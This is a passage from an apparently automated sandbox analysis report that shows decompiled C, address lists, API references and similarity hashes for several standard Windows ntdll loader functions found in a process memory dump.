											 *((short*)(_t69[2] + ((_t56 & 0x0000ffff) >> 1) * 2)) = 0;
											_t71 = 0;
										} else {
											goto L10;
										}
									}
								} else {
									_t71 = 0xc0000106;
								}
							}
						}
					}
				} else {
					L1:
					_t71 = 0xc000000d;
				}
				return E6A96D0D1(_t71);
			}

0x6a9a3f4d
0x6a9a3f4f
0x6a9a3f54
0x6a9a3f59
0x6a9a3f5b
0x6a9a3f64
0x6a9a3f75
0x6a9a3f78
0x6a9a3f7a
0x00000000
0x6a9a3f7c
0x6a9a3f7c
0x6a9a3f7e
0x00000000
0x6a9a3f80
0x6a9a3f84
0x6a9a3f87
0x6a9a4010
0x6a9a4013
0x6a9a401b
0x6a9a4020
0x6a9a4032
0x6a9a4034
0x6a9a4037
0x6a9a4039
0x6a9a4043
0x6a9a4043
0x6a9a404b
0x6a9a404d
0x6a9a4056
0x6a9a4059
0x6a9a405b
0x6a9a4064
0x6a9a4067
0x6a9a4069
0x6a9a4070
0x6a9a4074
0x6a9a4079
0x6a9a407b
0x00000000
0x6a9a407d
0x6a9a407d
0x6a9a407d
0x6a9a406b
0x6a9a406b
0x6a9a406e
0x6a9a4084
0x6a9a4086
0x6a9a408d
0x6a9a4091
0x6a9a4091
0x00000000
0x00000000
0x00000000
0x6a9a406e
0x6a9a405d
0x6a9a405d
0x6a9a405d
0x6a9a4093
0x6a9a4096
0x6a9a4098
0x6a9a40a5
0x6a9a40a7
0x6a9a40aa
0x6a9a40ac
0x6a9a40ae
0x6a9a40ae
0x00000000
0x6a9a40ae
0x6a9a40ac
0x6a9a404f
0x6a9a404f
0x6a9a40b0
0x6a9a40b0
0x6a9a40b0
0x6a9a403b
0x6a9a403b
0x6a9a4041
0x00000000
0x00000000
0x6a9a4041
0x6a9a40b3
0x6a9a40ba
0x6a9a3f8d
0x6a9a3f8d
0x6a9a3f93
0x6a9a3f96
0x6a9a3f9b
0x6a9a3fa4
0x6a9a3fa7
0x6a9a3fa9
0x6a9a3fb0
0x6a9a3fb4
0x6a9a3fb9
0x6a9a3fbb
0x00000000
0x6a9a3fbd
0x6a9a3fbd
0x6a9a3fbd
0x6a9a3fab
0x6a9a3fab
0x6a9a3fae
0x6a9a3fc4
0x6a9a3fc4
0x6a9a3fc6
0x6a9a3fd9
0x6a9a3fe1
0x6a9a3fee
0x6a9a3ff5
0x6a9a3ff8
0x6a9a4005
0x6a9a4009
0x00000000
0x00000000
0x00000000
0x6a9a3fae
0x6a9a3f9d
0x6a9a3f9d
0x6a9a3f9d
0x6a9a3f9b
0x6a9a3f87
0x6a9a3f7e
0x6a9a3f66
0x6a9a3f66
0x6a9a3f66
0x6a9a3f66
0x6a9a3f72

APIs

RtlpEnsureBufferSize.1105(00000000,?,-00000002,6A9F0890,0000001C,6A97D659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?), ref: 6A9A3FB4
memmove.1105(00000000,00000000,00000000,00000000,?,-00000002,6A9F0890,0000001C,6A97D659,00020000,00000000,?,?,00000003,00000000,00000002), ref: 6A9A3FD9
RtlEnterCriticalSection.1105(6AA079A0,6A9F0890,0000001C,6A97D659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6A9A401B
RtlExpandEnvironmentStrings_U.1105(00000000,?,00000000,?,6A9F0890,0000001C,6A97D659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040), ref: 6A9A402D
RtlpEnsureBufferSize.1105(00000000,?,?,00000000,?,00000000,?,6A9F0890,0000001C,6A97D659,00020000,00000000,?,?,00000003,00000000), ref: 6A9A4074
RtlExpandEnvironmentStrings_U.1105(00000000,?,?,00000000,00000000,?,?,00000000,?,00000000,?,6A9F0890,0000001C,6A97D659,00020000,00000000), ref: 6A9A40A0

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: BufferEnsureEnvironmentExpandRtlpSizeStrings_$CriticalEnterSectionmemmove
String ID:
API String ID: 1067925741-0
Opcode ID: d18480d0a0b3502f340f7b0bda542b5a40d2c4612b9c9538bda9dd5b065abb61
Instruction ID: 03da2f142ede0393a25bc86b78a8a3a8061a2d467ec492c6f1fcd8afd05e7cc0
Opcode Fuzzy Hash: d18480d0a0b3502f340f7b0bda542b5a40d2c4612b9c9538bda9dd5b065abb61
Instruction Fuzzy Hash: 5A41A475E01935ABEB208F6488447AAB7B4EF55B04F324517EA14A7240EF34DC51DBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6A915320, Relevance: 9.1, APIs: 6, Instructions: 91
timeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6A915320(void* __ecx, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v20;
				signed int _v21;
				signed int _v25;
				signed int _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t42;
				signed int _t48;
				signed int _t59;
				void* _t63;
				intOrPtr _t64;
				signed int _t65;
				intOrPtr* _t66;
				intOrPtr* _t70;
				signed int _t72;
				void* _t74;
				intOrPtr* _t75;
				void* _t76;
				signed int _t78;
				void* _t79;
				signed int _t80;
				void* _t85;

				_t82 = (_t80 & 0xfffffff8) - 0x14;
				_v8 =  *0x6aa0d360 ^ (_t80 & 0xfffffff8) - 0x00000014;
				_t78 = _a4;
				_push(_t75);
				if(_t78 == 0 || _t78 >= 0x80) {
					L17:
					_t42 = 0xc000000d;
					goto L13;
				} else {
					_t64 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
					_v12 = _t64;
					E6A932280( *[fs:0x18], 0x6aa085f0);
					_t70 =  *((intOrPtr*)(_t64 + 0x218));
					_t85 = _t78 -  *_t70;
					if(_t85 >= 0) {
						_t65 = 0;
						L11:
						E6A92FFB0(_t65, _t75, 0x6aa085f0);
						if(_t65 == 0) {
							goto L17;
						}
						_t42 = 0;
						L13:
						_pop(_t76);
						_pop(_t79);
						_pop(_t63);
						return E6A95B640(_t42, _t63, _v8 ^ _t82, _t74, _t76, _t79);
					}
					asm("bt [eax], esi");
					_t48 =  *(_t70 + 4) & 0xffffff00 | _t85 > 0x00000000;
					_v21 = _t48;
					if(_t48 == 0) {
						_t65 = _t48;
						goto L11;
					}
					E6A94A990(_t70, _t78, 1);
					_v32 =  *( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8);
					E6A932280( &(( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8)[1]),  &(( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8)[1]));
					_t72 = _t64 + 0x210;
					_t75 =  *_t72;
					_v32 = _t72;
					if(_t75 == _t72) {
						L10:
						 *( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8) =  *( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8) & 0x00000000;
						E6A92FFB0(_t64, _t75,  &(( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8)[1]));
						_t65 = _v25;
						goto L11;
					}
					_t66 = _v20;
					do {
						if(_t66 != 0) {
							_t59 =  *(_t75 + 8 + _t78 * 4);
							if(_t59 != 0) {
								 *0x6aa0b1e0(_t59);
								 *_t66();
								_t72 = _v20;
							}
						}
						 *(_t75 + 8 + _t78 * 4) =  *(_t75 + 8 + _t78 * 4) & 0x00000000;
						_t75 =  *_t75;
					} while (_t75 != _t72);
					_t64 = _v12;
					goto L10;
				}
			}

0x6a915328
0x6a915332
0x6a915338
0x6a91533b
0x6a91533e
0x6a915438
0x6a915438
0x00000000
0x6a915350
0x6a91535b
0x6a91535e
0x6a915362
0x6a915367
0x6a91536d
0x6a91536f
0x6a915430
0x6a9153fb
0x6a915400
0x6a915407
0x00000000
0x00000000
0x6a915409
0x6a91540b
0x6a91540f
0x6a915410
0x6a915411
0x6a91541c
0x6a91541c
0x6a915378
0x6a91537b
0x6a91537e
0x6a915384
0x6a915434
0x00000000
0x6a915434
0x6a91538e
0x6a9153a2
0x6a9153a7
0x6a9153ac
0x6a9153b2
0x6a9153b4
0x6a9153ba
0x6a9153db
0x6a9153e1
0x6a9153f2
0x6a9153f7
0x00000000
0x6a9153f7
0x6a9153bc
0x6a9153c0
0x6a9153c2
0x6a9153c4
0x6a9153ca
0x6a915422
0x6a915428
0x6a91542a
0x6a91542a
0x6a9153ca
0x6a9153cc
0x6a9153d1
0x6a9153d3
0x6a9153d7
0x00000000
0x6a9153d7

APIs

RtlAcquireSRWLockExclusive.1105(6AA085F0), ref: 6A915362
RtlClearBits.1105(?,?,00000001,6AA085F0), ref: 6A91538E
RtlAcquireSRWLockExclusive.1105(?,?,?,00000001,6AA085F0), ref: 6A9153A7

Part of subcall function 6A932280: RtlDllShutdownInProgress.1105(00000000), ref: 6A9322BA
Part of subcall function 6A932280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6A9323A3

RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000001,6AA085F0), ref: 6A9153F2
RtlReleaseSRWLockExclusive.1105(6AA085F0,6AA085F0), ref: 6A915400
RtlDebugPrintTimes.1105(?,?,?,?,00000001,6AA085F0), ref: 6A915422

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$AlertBitsClearDebugPrintProgressShutdownThreadTimesWait
String ID:
API String ID: 3225401293-0
Opcode ID: 7ef32226f6003a3d39734e3454f818a64b652420d5234609641e52b54e30d970
Instruction ID: cddc5fd8c2af89c5c456d0b70d94f1a501aad078b73f84caff03cc068c5ec955
Opcode Fuzzy Hash: 7ef32226f6003a3d39734e3454f818a64b652420d5234609641e52b54e30d970
Instruction Fuzzy Hash: AA31C472349315AFD710CF28C4C4A9AB3A8BF55318F67456DE8618B292DF30ED068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A94FE34, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
libraryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6A94FE34(intOrPtr __ecx, WCHAR* __edx, void* __eflags, unsigned int* _a4, intOrPtr _a8) {
				signed int _v8;
				char _v716;
				intOrPtr _v720;
				intOrPtr _v724;
				unsigned int _v728;
				short* _v732;
				void* _v736;
				char _v740;
				unsigned int _v744;
				intOrPtr _v748;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t44;
				char* _t46;
				unsigned int _t49;
				unsigned int* _t53;
				void* _t54;
				void* _t59;
				intOrPtr _t61;
				intOrPtr _t66;
				void* _t67;
				char* _t68;
				WCHAR* _t70;
				void* _t71;
				intOrPtr* _t72;
				signed int _t74;
				unsigned int _t77;
				signed int _t78;
				signed int _t80;

				_t62 = __edx;
				_t80 = (_t78 & 0xfffffff8) - 0x2dc;
				_v8 =  *0x6aa0d360 ^ _t80;
				_t53 = _a4;
				_v724 = _a8;
				_t66 = __ecx;
				_v720 = __ecx;
				_t70 = __edx;
				_v728 = 0;
				if(E6A94FF9C() != 0) {
					_t37 = 0xc0000361;
					L11:
					_pop(_t67);
					_pop(_t71);
					_pop(_t54);
					return E6A95B640(_t37, _t54, _v8 ^ _t80, _t62, _t67, _t71);
				}
				if(_t66 == 0 || _t70 == 0 || _t53 == 0) {
					_t37 = 0xc000000d;
					goto L11;
				} else {
					_v736 = 0x2be0000;
					_v732 =  &_v716;
					if(RtlAppendUnicodeToString( &_v736, _t70) < 0) {
						goto L11;
					}
					E6A92A8C0( &_v744);
					_t62 =  &_v740;
					_t68 = E6A94FF2F(_v744,  &_v740);
					if(_t68 < 0) {
						L10:
						_t37 = _t68;
						goto L11;
					}
					_t72 = _v736;
					_t15 = _t72 + 2; // 0x2be0002
					_t59 = _t15;
					do {
						_t44 =  *_t72;
						_t72 = _t72 + 2;
					} while (_t44 != 0);
					_v744 =  *_t53;
					_t74 = _t72 - _t59 >> 1;
					_t46 = E6A9276FE(_v728,  &_v744, _v732);
					_t61 = _v748;
					_t68 = _t46;
					_t62 = 0xc0000023;
					if(_t68 == 0xc0000023) {
						_t22 = _t61 + 0x10; // 0x2be0010
						 *_t53 = _t22 + _t74 * 2;
					}
					if(_t68 >= 0) {
						_t49 = _t61 + (_t74 + 8) * 2;
						_v728 = _t49;
						_t77 = _t49 >> 1;
						if(_t49 <=  *_t53) {
							E6A967110(_v732, _t77, L"\\Windows");
							E6A967110(_v732, _t77, _v736);
							_t49 = _v728;
							_t80 = _t80 + 0x18;
						} else {
							_t68 = _t62;
						}
						 *_t53 = _t49;
					}
					goto L10;
				}
			}

0x6a94fe34
0x6a94fe3c
0x6a94fe49
0x6a94fe54
0x6a94fe59
0x6a94fe5d
0x6a94fe61
0x6a94fe65
0x6a94fe67
0x6a94fe72
0x6a98c0f0
0x6a94ff18
0x6a94ff1f
0x6a94ff20
0x6a94ff21
0x6a94ff2c
0x6a94ff2c
0x6a94fe7a
0x6a98c14b
0x00000000
0x6a94fe90
0x6a94fe94
0x6a94fe9c
0x6a94fead
0x00000000
0x00000000
0x6a94feb4
0x6a94febd
0x6a94fec6
0x6a94feca
0x6a94ff16
0x6a94ff16
0x00000000
0x6a94ff16
0x6a94fecc
0x6a94fed2
0x6a94fed2
0x6a94fed5
0x6a94fed5
0x6a94fed8
0x6a94fedb
0x6a94feec
0x6a94fef4
0x6a94fef6
0x6a94fefb
0x6a94feff
0x6a94ff01
0x6a94ff08
0x6a98c0fa
0x6a98c100
0x6a98c100
0x6a94ff10
0x6a98c10a
0x6a98c10f
0x6a98c113
0x6a98c117
0x6a98c127
0x6a98c138
0x6a98c13d
0x6a98c141
0x6a98c119
0x6a98c119
0x6a98c119
0x6a98c144
0x6a98c144
0x00000000
0x6a94ff10

APIs

RtlAppendUnicodeToString.1105(02BE0000,?), ref: 6A94FEA6

Part of subcall function 6A92A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6A92A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6A92A9E2

LdrStandardizeSystemPath.1105(02BE0000,02BE0000,?), ref: 6A94FEB4

Part of subcall function 6A92A8C0: RtlGetNtSystemRoot.1105(?,?), ref: 6A92A8F0
Part of subcall function 6A92A8C0: RtlAppendUnicodeToString.1105(02140000,00000000,?,?), ref: 6A92A8FD
Part of subcall function 6A92A8C0: RtlAppendUnicodeToString.1105(02140000,\SysWOW64,02140000,00000000,?,?), ref: 6A92A915
Part of subcall function 6A92A8C0: RtlPrefixUnicodeString.1105(02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6A92A924

Part of subcall function 6A94FF2F: RtlGetNtSystemRoot.1105(?,?,?,?,?,6A94FEC6,02BE0000,02BE0000,?), ref: 6A94FF3C
Part of subcall function 6A94FF2F: _wcsnicmp.1105(?,00000000,-00000002,?,?,?,?,?,6A94FEC6,02BE0000,02BE0000,?), ref: 6A94FF6E

Strings

\Windows, xrefs: 6A98C11D

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendSystem$Root$PathPrefixStandardize_wcsnicmpmemmove
String ID: \Windows
API String ID: 1616562977-3600636569
Opcode ID: 7d386c3374a59829e7d09bc488277d90a0fe0b7d2650b95fd7e4da5cffe3ae41
Instruction ID: fc55a53833a478fbd86bf9465c66a9444fbe71b8316a9c068ad19643c95a5e5f
Opcode Fuzzy Hash: 7d386c3374a59829e7d09bc488277d90a0fe0b7d2650b95fd7e4da5cffe3ae41
Instruction Fuzzy Hash: 5A319172908316AFC710DF18C58494BB7E5EFD9318F624D6AE8A897200EF34ED05CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6A920225, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6A920225(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v4;
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				unsigned int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				char _v36;
				char _v64;
				intOrPtr _v68;
				char _v72;
				intOrPtr* _t94;
				intOrPtr* _t97;
				char _t98;
				signed int _t108;
				signed short _t112;
				int _t113;
				void* _t116;
				void* _t123;
				void* _t126;
				signed int _t129;
				void* _t137;
				intOrPtr _t145;
				signed short _t146;
				intOrPtr _t150;
				signed int _t151;
				void* _t156;
				signed int _t158;
				unsigned int _t160;
				signed int _t165;
				intOrPtr* _t176;
				signed int _t178;
				void* _t185;
				void* _t186;
				void* _t188;
				signed int _t191;
				signed int _t192;
				void* _t197;

				_t185 = __edi;
				_push(0x38);
				_push(0x6a9ef868);
				E6A96D08C(__ebx, __edi, __esi);
				_v32 = __ecx;
				_t94 =  *((intOrPtr*)(__ecx));
				while(1) {
					_v28 = _t94;
					_t145 = _t94;
					if(_t145 == _v32) {
						break;
					}
					 *((short*)(_t145 - 0x1c)) = 0;
					L15();
					_t6 = _t145 - 0x44; // 0xbb
					_t97 = _t6;
					_t150 =  *_t97;
					if(_t150 == 0) {
						L6:
						_t98 =  *((intOrPtr*)(_t145 - 0x38));
						_v36 = _t98;
						if(_t98 != 0 && ( *(_t145 - 0x20) & 0x00080000) != 0) {
							if(( *0x6aa05780 & 0x00000005) != 0) {
								_push(_t98);
								_t92 = _t145 - 0x30; // 0xcf
								E6A995510("minkernel\\ntdll\\ldrsnap.c", 0x7bb, "LdrpProcessDetachNode", 2, "Uninitializing DLL \"%wZ\" (Init routine: %p)\n", _t92);
								_t197 = _t197 + 0x1c;
							}
							_v72 = 0x24;
							_v68 = 1;
							_t151 = 7;
							_t188 =  &_v64;
							memset(_t188, 0, _t151 << 2);
							_t197 = _t197 + 0xc;
							_t185 = _t188 + _t151;
							E6A92F540( &_v72,  *((intOrPtr*)(_t145 - 0xc)));
							_v4 = 0;
							_t211 =  *((intOrPtr*)(_t145 - 0x1a));
							if( *((intOrPtr*)(_t145 - 0x1a)) != 0) {
								_t31 = _t145 - 0x54; // 0xab
								E6A920C30(0, _t31);
							}
							_v4 = 1;
							_push(0);
							_push(0);
							E6A92FC01(_t145, _v36,  *((intOrPtr*)(_t145 - 0x3c)), _t185, 0, _t211);
							_v4 = 0;
							_v4 = 0xfffffffe;
							E6A920307();
						}
						_t94 =  *_v28;
						continue;
					} else {
						_t176 =  *((intOrPtr*)(_t97 + 4));
						if( *((intOrPtr*)(_t150 + 4)) != _t97 ||  *_t176 != _t97) {
							_t156 = 3;
							asm("int 0x29");
							_t108 =  *0x6aa08458;
							_push(_t145);
							_push(0);
							_push(_t185);
							_t186 = _t156;
							_t158 = _t108 & 0x0000000f;
							_t191 = _t158 * 0x5c;
							_v16 = _t158;
							 *(_t191 + 0x6aa07c48) = _t108;
							 *0x6aa08458 = _t108 + 1;
							 *((intOrPtr*)(_t191 + 0x6aa07c40)) =  *((intOrPtr*)(_t186 + 0x18));
							 *((intOrPtr*)(_t191 + 0x6aa07c44)) =  *((intOrPtr*)(_t186 + 0x20));
							_t146 =  *(_t186 + 0x2c) & 0x0000ffff;
							_t112 = 0x40;
							__eflags = _t146 - _t112;
							if(_t146 > _t112) {
								_t146 = _t112;
							}
							_t113 = _t146 & 0x0000ffff;
							_v12 = _t113;
							_t41 = _t191 + 0x6aa07c54; // 0x6aa07c54
							memcpy(_t41,  *(_t186 + 0x30), _t113);
							_t160 = _v12 >> 1;
							_v20 = _t160;
							_t116 = 0x40;
							__eflags = _t146 - _t116;
							if(__eflags < 0) {
								__eflags = 0;
								 *((short*)(0x6aa07c54 + (_v8 * 0x2e + _t160) * 2)) = 0;
							}
							_push( &_v36);
							E6A9204D0(_t146,  *((intOrPtr*)(_t186 + 0x18)),  *((intOrPtr*)(_t186 + 0x20)), _t186, _t191, __eflags);
							 *((intOrPtr*)(_t191 + 0x6aa07c4c)) = _v36;
							 *((intOrPtr*)(_t191 + 0x6aa07c50)) = _v32;
							 *((intOrPtr*)(_t191 + 0x6aa07c94)) = _v28;
							 *((intOrPtr*)(_t191 + 0x6aa07c98)) = _v24;
							_t123 =  *0x6aa08454;
							_v8 = _t123;
							__eflags = _t123;
							if(_t123 == 0) {
								_t178 =  *0x6aa05ca8; // 0x40
								__eflags = _t178 - 0xffff;
								if(_t178 > 0xffff) {
									_t178 = 0xffff;
									 *0x6aa05ca8 = 0xffff;
								}
								_t126 = RtlAllocateHeap( *0x6aa07b98,  *0x6aa07b9c + 0x00040000 | 0x00000008, _t178 * 0x5c);
								_v8 = _t126;
								 *0x6aa08454 = _t126;
								__eflags = _t126;
								if(_t126 != 0) {
									goto L19;
								} else {
								}
							} else {
								L19:
								_t165 =  *0x6aa0845c;
								_t129 = _t165 %  *0x6aa05ca8 & 0x0000ffff;
								_t192 = _t129 * 0x5c;
								_v16 = _t129;
								 *(_t192 + _v8 + 8) = _t165;
								 *0x6aa0845c = _t165 + 1;
								 *((intOrPtr*)( *0x6aa08454 + _t192)) =  *((intOrPtr*)(_t186 + 0x18));
								 *((intOrPtr*)(_t192 +  *0x6aa08454 + 4)) =  *((intOrPtr*)(_t186 + 0x20));
								memcpy( *0x6aa08454 + 0x14 + _t192,  *(_t186 + 0x30), _v12);
								_t137 = 0x40;
								__eflags = _t146 - _t137;
								if(_t146 < _t137) {
									__eflags = 0;
									 *((short*)( *0x6aa08454 + 0x14 + (_v16 * 0x2e + _v20) * 2)) = 0;
								}
								 *((intOrPtr*)(_t192 +  *0x6aa08454 + 0xc)) = _v36;
								 *((intOrPtr*)(_t192 +  *0x6aa08454 + 0x10)) = _v32;
								 *((intOrPtr*)(_t192 +  *0x6aa08454 + 0x54)) = _v28;
								_t126 =  *0x6aa08454;
								 *((intOrPtr*)(_t192 + _t126 + 0x58)) = _v24;
							}
							return _t126;
						} else {
							 *_t176 = _t150;
							 *((intOrPtr*)(_t150 + 4)) = _t176;
							 *_t97 = 1;
							goto L6;
						}
					}
					L29:
				}
				return E6A96D0D1(_t94);
				goto L29;
			}

0x6a920225
0x6a920225
0x6a920227
0x6a92022c
0x6a920231
0x6a920234
0x6a920238
0x6a920238
0x6a92023b
0x6a920240
0x00000000
0x00000000
0x6a920248
0x6a92024f
0x6a920254
0x6a920254
0x6a920257
0x6a92025b
0x6a92027c
0x6a92027c
0x6a92027f
0x6a920284
0x6a920296
0x6a9761cb
0x6a9761cc
0x6a9761e6
0x6a9761eb
0x6a9761eb
0x6a92029c
0x6a9202a3
0x6a9202ac
0x6a9202af
0x6a9202b2
0x6a9202b2
0x6a9202b2
0x6a9202ba
0x6a9202bf
0x6a9202c2
0x6a9202c6
0x6a9202fb
0x6a920300
0x6a920300
0x6a9202c8
0x6a9202cf
0x6a9202d0
0x6a9202d7
0x6a9202dc
0x6a9202df
0x6a9202e6
0x6a9202e6
0x6a9202ee
0x00000000
0x6a92025d
0x6a92025d
0x6a920263
0x6a920312
0x6a920313
0x6a92031d
0x6a920322
0x6a920323
0x6a920324
0x6a920325
0x6a920329
0x6a92032c
0x6a920331
0x6a920334
0x6a92033b
0x6a920343
0x6a92034c
0x6a920352
0x6a920356
0x6a920357
0x6a92035a
0x6a9204c9
0x6a9204c9
0x6a920360
0x6a920367
0x6a92036a
0x6a920371
0x6a92037c
0x6a92037e
0x6a920383
0x6a920384
0x6a920387
0x6a92038f
0x6a920391
0x6a920391
0x6a9203a2
0x6a9203a3
0x6a9203ab
0x6a9203b4
0x6a9203bd
0x6a9203c6
0x6a9203cc
0x6a9203d1
0x6a9203d4
0x6a9203d6
0x6a920485
0x6a920490
0x6a920492
0x6a97620d
0x6a97620f
0x6a97620f
0x6a9204b2
0x6a9204b7
0x6a9204ba
0x6a9204bf
0x6a9204c1
0x00000000
0x00000000
0x6a9204c7
0x6a9203dc
0x6a9203dc
0x6a9203dc
0x6a9203ef
0x6a9203f2
0x6a9203f5
0x6a9203fb
0x6a920405
0x6a92040e
0x6a920419
0x6a92042b
0x6a920435
0x6a920436
0x6a920439
0x6a920447
0x6a920449
0x6a920449
0x6a920456
0x6a920462
0x6a92046e
0x6a920472
0x6a92047a
0x6a92047a
0x6a920484
0x6a920271
0x6a920271
0x6a920273
0x6a920276
0x00000000
0x6a920276
0x6a920263
0x00000000
0x6a92025b
0x6a9202fa
0x00000000

APIs

Part of subcall function 6A920315: memcpy.1105(6AA07C54,?,00000040,00000000,00000000,000000FF,?,?,6A920254,6A9EF868,00000038,6A91F563), ref: 6A920371
Part of subcall function 6A920315: memcpy.1105(?,?,?,?,0000FFFF,?,00000000,00000000,000000FF,?,?,6A920254,6A9EF868,00000038,6A91F563), ref: 6A92042B

RtlActivateActivationContextUnsafeFast.1105 ref: 6A9202BA

Strings

$, xrefs: 6A92029C
LdrpProcessDetachNode, xrefs: 6A9761D7
minkernel\ntdll\ldrsnap.c, xrefs: 6A9761E1
Uninitializing DLL "%wZ" (Init routine: %p), xrefs: 6A9761D0

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$ActivateActivationContextFastUnsafe
String ID: $$LdrpProcessDetachNode$Uninitializing DLL "%wZ" (Init routine: %p)$minkernel\ntdll\ldrsnap.c
API String ID: 2422247448-1066784428
Opcode ID: f5142e7f25d22c86ee90d2d4693490c0b8a6c02c6ebe9cef6184cbe2d310ced4
Instruction ID: 45a80c9b5d54df43446e22a69ad5f1a0c66f466fe5750fd54bbb6bba2ad9697f
Opcode Fuzzy Hash: f5142e7f25d22c86ee90d2d4693490c0b8a6c02c6ebe9cef6184cbe2d310ced4
Instruction Fuzzy Hash: 1E31AE70D61204DFEB11CF68C898A9EBBB4BF09308F31849AD401AB289DF71DA46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A920C30, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6A920C30(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t20;
				void* _t24;
				void* _t27;
				intOrPtr _t29;
				void* _t37;
				intOrPtr* _t40;
				intOrPtr* _t42;
				signed int _t43;
				void* _t44;
				intOrPtr _t45;

				_t30 = __ecx;
				_push(0xfffffffe);
				_push(0x6a9ef8f8);
				_push(0x6a9617f0);
				_push( *[fs:0x0]);
				_t45 = _t44 - 0x18;
				_push(_t27);
				_t20 =  *0x6aa0d360;
				_v12 = _v12 ^ _t20;
				_push(_t20 ^ _t43);
				 *[fs:0x0] =  &_v20;
				_v28 = _t45;
				_t37 = __edx;
				_v32 = __ecx;
				E6A93FAD0(0x6aa08550);
				_t40 =  *0x6aa05368; // 0x6aa05368
				if(_t40 == 0x6aa05368) {
					L3:
					_t40 = 0;
					L4:
					_t24 = E6A93FA00(_t27, _t30, _t37, 0x6aa08550);
					if(_t40 == 0) {
						L9:
						 *[fs:0x0] = _v20;
						return _t24;
					}
					_t42 =  *((intOrPtr*)(_t40 + 0x14));
					if(_t42 == 0) {
						goto L9;
					}
					_v8 = 0;
					while(1) {
						_t29 =  *_t42;
						if(_t29 == 0) {
							break;
						}
						_v36 = _t29;
						_t42 = _t42 + 4;
						_v40 = _t42;
						__eflags =  *0x6aa05780 & 0x00000005;
						if(__eflags != 0) {
							_push( *((intOrPtr*)(_t37 + 0x18)));
							_t18 = _t37 + 0x24; // 0xcf
							E6A995510("minkernel\\ntdll\\ldrtls.c", 0x425, "LdrpCallTlsInitializers", 2, "Calling TLS callback %p for DLL \"%wZ\" at %p\n", _t29);
							_t45 = _t45 + 0x20;
						}
						_push(0);
						_push(_v32);
						_t24 = E6A92FC01(_t29, _t29,  *((intOrPtr*)(_t37 + 0x18)), _t37, _t42, __eflags);
					}
					_v8 = 0xfffffffe;
					goto L9;
				}
				while( *((intOrPtr*)(_t40 + 0x20)) != _t37) {
					_t40 =  *_t40;
					if(_t40 != 0x6aa05368) {
						continue;
					}
					goto L3;
				}
				goto L4;
			}

0x6a920c30
0x6a920c35
0x6a920c37
0x6a920c3c
0x6a920c47
0x6a920c48
0x6a920c4b
0x6a920c4e
0x6a920c53
0x6a920c58
0x6a920c5c
0x6a920c62
0x6a920c65
0x6a920c67
0x6a920c6f
